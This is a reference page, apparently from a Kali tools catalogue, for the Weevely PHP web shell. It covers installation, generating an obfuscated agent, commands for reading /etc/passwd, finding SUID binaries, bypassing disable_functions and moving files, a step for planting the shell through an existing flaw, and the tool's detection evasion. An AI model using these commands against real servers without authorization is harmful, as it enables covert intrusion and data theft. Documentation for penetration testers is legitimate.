GO KALI FREE

Weevely

Post Exploitation

Intermediatehigh risk

Weevely is a stealthy PHP web shell designed for post-exploitation validation. It simulates a telnet-like terminal connection over HTTP, obfuscating communications within standard request vectors.

Installation

sudo apt install weevely

Basic Syntax

weevely <action> [arguments]

Quick Facts

Full Name
Weevely3
License
GPL v3
Language
Python / PHP
Interface
CLI
Category
Web Shell
Requires
PHP on Target Server

Tool Overview

Weevely is a stealthy PHP web shell generator and connector designed for post-exploitation. It creates obfuscated PHP agents that communicate over HTTP, providing a telnet-like terminal for remote command execution.

By mimicking normal HTTP traffic and using password-protected agents, Weevely enables covert access to compromised web servers while minimizing detection by WAFs and logging systems.

Common Commands

weevely generate <PASS> /path/to/agent.phpGenerate an obfuscated PHP agent (web shell) protected by a password
weevely http://example.com/agent.php <PASS>Open an interactive terminal session on the deployed agent
weevely http://example.com/agent.php <PASS> idRun a single command through the agent and exit
weevely session /path/to/session.sessionResume a previously saved session file
:helpList all modules available in the current session
:system_infoCollect remote system information (OS, PHP version, paths)
:system_procsList running processes on the target
:audit_etcpasswdRead /etc/passwd using several fallback techniques
:audit_suidsgidFind SUID/SGID binaries useful for privilege escalation
:audit_filesystemAudit the filesystem for writable and sensitive files
:audit_disablefunctionbypassAttempt to bypass PHP disable_functions restrictions
:file_ls /var/wwwList the contents of a remote directory
:file_download /etc/passwd ./passwdDownload a file from the target to the local machine
:file_upload ./exploit.sh /tmp/exploit.shUpload a local file to the target
:file_read /var/www/html/config.phpRead the contents of a remote file

Step-by-Step Guide

  1. 1Create your obfuscated payload using the generate command
  2. 2Place the payload on the target server by exploiting an existing flaw
  3. 3Establish communication by executing the tool with the target URL and your password
  4. 4Execute instructions through the disguised terminal
  5. 5Remove the payload completely when the assessment concludes

Use Cases

Post-Exploitation

Maintain access to compromised web servers.

File Operations

Upload/download files through HTTP tunnel.

Command Execution

Run system commands via stealthy channel.

Network Pivot

Use web server as pivot to internal networks.

Key Features

Related Tools

LinPEAS

Post Exploitation

Linux privesc enumeration script.

Chisel

Post Exploitation

HTTP tunneling tool.

Frequently Asked Questions

What is Weevely used for?

Weevely provides a stealthy PHP web shell for post-exploitation. It generates obfuscated PHP agents that communicate over HTTP, masking traffic as normal web requests for evasion.

How does Weevely avoid detection?

Weevely agents use base64-encoded parameters within standard HTTP requests, making traffic appear as normal web browsing. The password-protected agent prevents unauthorized access.

What can Weevely do on a target?

Weevely supports command execution, file upload/download, database interaction, network scanning, privilege escalation enumeration, and reverse shell spawning.

Does Weevely support encrypted communication?

Weevely can communicate over HTTPS if the target web server supports SSL, providing encrypted transport. The agent itself applies base64 encoding to the command parameters.

Tags

#post-exploitation#web-shell#php#stealth

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.